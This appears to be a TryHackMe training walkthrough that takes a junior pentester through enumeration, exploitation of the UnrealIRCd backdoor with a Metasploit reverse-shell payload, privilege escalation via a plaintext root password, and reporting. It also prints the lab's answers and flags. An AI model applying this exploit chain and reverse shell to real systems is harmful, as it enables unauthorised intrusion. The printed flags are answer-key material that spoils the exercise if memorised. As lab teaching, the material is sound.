Guided Pentest: Infrastructure (TryHackMe Walkthrough)

Task 1

Penetration testing isn't a single skill. It's a way of thinking. On any given engagement, you might need to think like a programmer to understand how an application fails, like a sysadmin to spot a misconfiguration that shouldn't be there, or like a SOC engineer to understand what gets detected. But above all, you need to think like an attacker, someone who looks at a system and asks, "What did they miss?"

By now, you should already have the building blocks. This room will show you how to use them together, step by step, the way a real penetration tester would.

Infrastructure Penetration Test Infrastructure penetration tests (colloquially referred to as infra pentests) are security assessments of devices on a network. These can be servers, printers, firewalls, or any other device with a network interface that can be accessed over the Internet or a LAN. In a later room, Formal Penetration Testing Frameworks, we'll visit frameworks, but for now, keep this simple methodology in the back of your mind, as it's the backbone of everything you'll do here.

Enumeration: Start from zero. What do you know, and what do you need to find out? Vulnerability analysis: Analyze your enumeration results and connect the dots to potential weaknesses. Initial access: Pick your attack and execute it to get a foothold on the target. Privilege escalation: You're in, but it's not over. Enumerate again, this time from the inside, and find a way up. Reporting: None of the above matters if you can't communicate it. This is the actual deliverable. In this room, we will only cover this conceptually, as this topic will be covered in more detail in the Writing Pentest Reports room later in this path.

Learning Objectives Use tools and techniques to scan a Linux host Research vulnerable software to find a working exploit Enumerate local Linux files to escalate privileges

Prerequisites Metasploit module Nmap room

Scenario You've just landed your first junior role as a penetration tester. For your first engagement, you will shadow your team lead.

It's Monday morning, and your project manager sends you an email and informs you that your biggest client, TryHatMe, recently deployed a new network device in their infrastructure. Start your AttackBox, make sure the target is online, and begin your pentest.

Task 2: Enumeration

Why Enumerate? Before you touch a single exploit or try a single password, you need to understand what you're looking at. Enumeration is the foundation of every penetration test and, without it, you're just guessing. The goal here is simple: learn as much as you can about the target before making any moves. What ports are open? What services are running? What versions are behind them? Every piece of information you gather now shapes the decisions you'll make later. Rushed enumeration leads to missed opportunities, and in a real engagement, that could mean the difference between a finding and a footnote in your report.

Scanning With Nmap Let's scan the target with Nmap! You've used it before, but now you're using it with intent. On your AttackBox, open a terminal and run the following command:

nmap -sV -sC -oN scan.txt MACHINE_IP

As a reminder:

-sV probes open ports to identify the service and version running behind them. -sC runs Nmap's default set of scripts, which pull extra details like banners, supported authentication methods, and more. -oN scan.txt saves the output to a file. Get in this habit early, and you'll thank yourself during reporting. After the scan completes, it's time to review the results.

Note: Throughout this scenario's examples, IP addresses, port numbers, or service versions may differ from what you will gather, so you can achieve real results by following the steps.

Answer the questions below What port other than 22 is open on the target host? 6667

Task 3: Vulnerability Analysis

Connect the Dots You've got your scan results. Now what?

Don't look at the output like a wall of text. Start asking questions. Is that service version outdated? Is there a known exploit for it? Is something misconfigured? Vulnerability analysis is really just the process of taking what enumeration gave you and asking, "What can go wrong here?"

Your Nmap output gave you two open ports. The simplest method here is to Google their versions and the keyword "exploit".

For example, Googling "OpenSSH 9.6p1 exploit" might yield results on theoretical or very distribution-specific exploits, but nothing tangible. So it is most likely a dead end.

If you are comfortable with the Kali packages, instead of googling, you can use the searchsploit utility to find exploits. Searchsploit is a command-line tool that lets you search Exploit-DB's offline database of public exploits and vulnerability disclosures directly from your terminal.

searchsploit openssh

searchsploit openssh

Again, nothing of real interest, as the versions differ from our reported version. However, searching with either method for the other result from your nmap scan will quickly yield results.

Answer the questions below Use searchsploit to find an exploit for your target UnrealIRC version. What is the path value for the Remote Downloader/Execute script linux/remote/13853.pl

Task 4: Initial Access

Gaining a Foothold

By now you should have found an exploit for UnrealIRCd that abuses a backdoor left in the software. If you didn't find it, don't worry; it's a learning curve.

The good part about the exploit we are going to use is that there's a Metasploit module for it. This makes exploitation much easier than modifying exploit scripts. Let's fire up Metasploit first.

msfconsole

Then, search for the module we need.

search unrealircd

From this list, we can use the suggested exploit against our target.

use 0

First, we need to see what we must configure for this exploit to run.

show options

As we can see, the only required parameter that is not yet set is RHOSTS (marked by the Required column), so we can set it to the lab machine's IP address.

set RHOSTS MACHINE_IP

We still need a payload for this exploit to run. We can list available payloads with show payloads.

Since we don't know much about our target or what software it has installed, the safest course is to use a Unix reverse generic payload.

set payload cmd/unix/reverse

Now, if we run show options again, we'll see that LHOST and LPORT are required for this payload.

set LHOST CONNECTION_IP set LPORT 443

Note that Connection IP is the IP address of the Lab machine when using TryHackMe's machine.

Now that everything is set, we can launch our attack against the lab machine using the exploit command.

Once the exploit completes, you can read the flag from /home/webmaster/flag.txt.

Note: When you first catch a reverse shell, it's typically a "dumb" shell without full terminal features — it lacks job control, tab completion, and, importantly, commands like su or sudo won't work because they require an interactive TTY to securely read passwords. Upgrading to a full TTY transforms your basic reverse shell into a proper interactive terminal session, which is necessary because commands like su and sudo require a real terminal (TTY) to safely prompt for and read password input. In this room, this is not required, as we will see later.

Answer the questions below

What is the user-level flag? THM{Pwned-Y0ur-First-Machine}

Task 5: Post Exploitation

Privilege Escalation

Now that we've gotten a foothold on the lab machine, we need to check for ways to escalate our privileges. In the Linux Privilege Escalation: Basics room later in this path, we'll visit privilege escalation enumeration and exploitation techniques. For now, let's try to find interesting files that may help us with our privilege escalation attempts.

find / -name password* 2>/dev/null

This command will attempt to find all files on the target system that contain the word password in their name. 2>/dev/null will suppress errors.

You can go ahead and inspect all these files, but one stands out from the rest: /etc/password.txt.

We can read this with cat /etc/password.txt.

Luckily for us, it seems to contain root credentials. Since we're not in an interactive terminal session, we won't be able to use su to enter the password. However, we know from our previous external enumeration that an SSH service is running on this host. Open a new terminal and run the following command:

ssh root@MACHINE_IP

When prompted, enter the password you found previously in /etc/password.txt. Congrats, you now own this machine! You can find your flag in /root/flag.txt.

Answer the questions below

What is the root flag? THM{Escalat1on-D0ne}

Task 6: Reporting

Even though we'll visit the reporting in a later room, some things must still be mentioned.

First of all, you should keep in mind that all the client will ever see of your work is your report. You could have the pentest of your life in which you own all the ATMs in a bank and become its domain admin, but if your report is bad, then it means the pentest was bad.

Secondly, while all professionals have their own way of writing reports, some general items should always be there:

A cover page with a title, your name, email address, and version control. A table of contents (Optional). An executive summary, aimed at the manager who requested the engagement, explaining what was achieved in non-technical terms. A technical summary aimed at the engineering manager, so they understand the impact and can prioritize accordingly (Optional). A table of all vulnerabilities found, ordered by severity, aimed at managers and engineers, again to prioritize accordingly. Detailed exploitation section, where each vulnerability and its impact are explained, exploitation steps and proof are shown, and recommendations for mitigations are given. This is aimed at engineers who will remediate your findings. Lastly, take pride in what you did. The report is your time to shine and show your client your best work. Don't skip steps and be as detailed as possible to provide the best value for your client.

The following example is a reported finding for the privilege escalation vector we've found in this scenario.

Title: Root Password Stored in Plaintext

Severity: Critical

Description: The root user's password was found stored in plaintext within the file /etc/password.txt. This file was readable by low-privileged users, allowing any user with shell access to retrieve the root credentials and fully compromise the system.

Exploitation Steps:

Obtain a low-privileged shell on the target system. Read the contents of /etc/password.txt using cat /etc/password.txt. Use the discovered root password to escalate privileges via ssh root@IP. Recommendation: Remove the plaintext password file immediately and rotate the root password. Credentials should never be stored in plaintext on the filesystem. Implement a secrets management solution or use properly configured system authentication mechanisms (such as /etc/shadow with strong hashing). Additionally, enforce the principle of least privilege to restrict file access permissions.

Answer the questions below Which report section is aimed at engineering managers? Technical Summary

Task 7: Conclusion

Infrastructure pentests are the closest thing to what a malicious hacker does. Everything starts from a list of IPs you know nothing about, and it's your job to uncover their secrets and find their weak points.

In this room, we've only attacked one IP, but we went through all the steps.

• We've seen how to enumerate services on a target host and analyze the results to find the best exploit for our target.
• We've gained an initial foothold on the target using a public exploit against a vulnerable service.
• Finally, we used basic Linux command-line skills to find a root password.

For more information on the techniques covered in this room, please refer to the following rooms:

• Metasploit: Scanning and Exploitation
• Linux Privilege Escalation: Enumeration
• Writing Pentest Reports

The End 😁